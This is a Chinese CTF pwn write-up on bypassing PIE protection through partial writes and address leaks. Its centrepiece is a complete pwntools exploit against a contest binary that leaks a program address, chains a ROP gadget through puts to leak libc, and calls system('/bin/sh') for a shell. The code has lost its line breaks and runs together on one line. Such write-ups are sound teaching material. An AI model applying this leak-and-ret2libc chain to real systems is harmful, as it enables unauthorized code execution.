PIE保護繞過


(一):partial write

開了PIE保護的程序,其低12位地址是固定的,所以我們可以采用partial write。但是我們不能寫入一個半字節,所以選擇寫入兩個字節,倒數地位進行爆破,范圍是0到f,例如:

list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]

列表里是第二位字節可能的值,使用循環進行爆破。

(二):泄露地址

PIE 保護機制,影響的是程序加載的基址,並不會影響指令間的相對地址,因此如果我們能夠泄露程序的某個地址,就可以通過修改偏移獲得程序其它函數的地址。

這是浙江省省賽的一道pwn題,首先查看保護:

 發現只有棧溢出沒開。

用IDA查看反匯編代碼,發現由兩處可以輸入的地方:

 第一處的輸入用戶名時候

 第二處則是在輸入算式結果的時候

經過分析發現,在輸入用戶名時函數並不會給字符串末尾加上 '\0' ,而 puts() 函數是在遇到 '\0' 時結束輸出,故我們可以利用這一特性泄露內存。可以采用填充8個字節或16個字節來泄露內存。在使用填充16個字節泄露內存時應注意是 p.send('A'*16) 而非 p.sendline('A'*16),否則多出來的 '\n' 會影響接下來程序的執行。

 

第二處輸入存在明顯的棧溢出,故我們可以利用此處構造 payload。完整的exploit如下:

 

# -*- coding:utf-8 -*-
from pwn import * libc = ELF('./libc.so.6') context.log_level = 'debug' p = process('./uninit') # libc=ELF('./libc.so.6') gdb.attach(p) p.sendafter("name:", 'A'*16) # 發送填充16個字節 p.recvuntil('A'*16) PIE_addr = p.recvuntil("\n") PIE_addr = u64(PIE_addr[:-1].ljust(8, '\x00')) #用u64()解包地址 # PIE_addr=u64(p.readline()[:-1].ljust(8,'\x00')) log.success("PIE_addr ==> {:#x}".format(PIE_addr)) base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #計算程序加載基地址 pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用於構造puts和system函數的參數 puts_plt = base1 + 0x940 offset = 0x30 + 0x8 #覆蓋到棧底的填充字節 puts_got = base1 + 0x201F60 start_addr = base1 + 0x9c0 #程序起始運行處的地址 payload = offset*'A' + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) payload += p64(start_addr) payload = payload.ljust(0x400, 'A') #gdb.attach(p) p.recvuntil("Tell me count of game:") p.sendline('1') p.recvuntil("Answer:") p.send(payload) puts_addr = u64(p.recv(6).ljust(8,'\x00')) base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加載基地址 log.success("puts_addr ==> {:#x}".format(puts_addr)) log.success("base2 ==> {:#x}".format(base2)) system_addr=libc.symbols['system']+base2 #system函數的地址 bin_sh_addr=next(libc.search('/bin/sh'))+base2 #‘/bin/sh’的地址 log.success("bin_sh_addr ==> {:#x}".format(bin_sh_addr)) log.success("system_addr ==> {:#x}".format(system_addr)) payload2=offset*'A'+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr) payload2+=p64(start_addr) payload2=payload2.ljust(0x400,'\x00') #此處用‘\x00’填充是考慮到調用system時需要的環境變量 p.sendlineafter("name:",'A'*8) p.sendlineafter("game:",'1') p.sendafter("Answer:",payload2) p.interactive("countfatcode $")

 (三):vdso/vsyscall

尚待補充

————————————————————————————————————————————————————————————————————————————————————————

記錄一個跟本篇無關的保護:

RELRO:設置符號重定向表格為只讀或在程序啟動時就解析並綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。

  • Partial RELRO:ELF節重排,對GOT仍然可寫
  • Full RELRO:GOT只讀


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM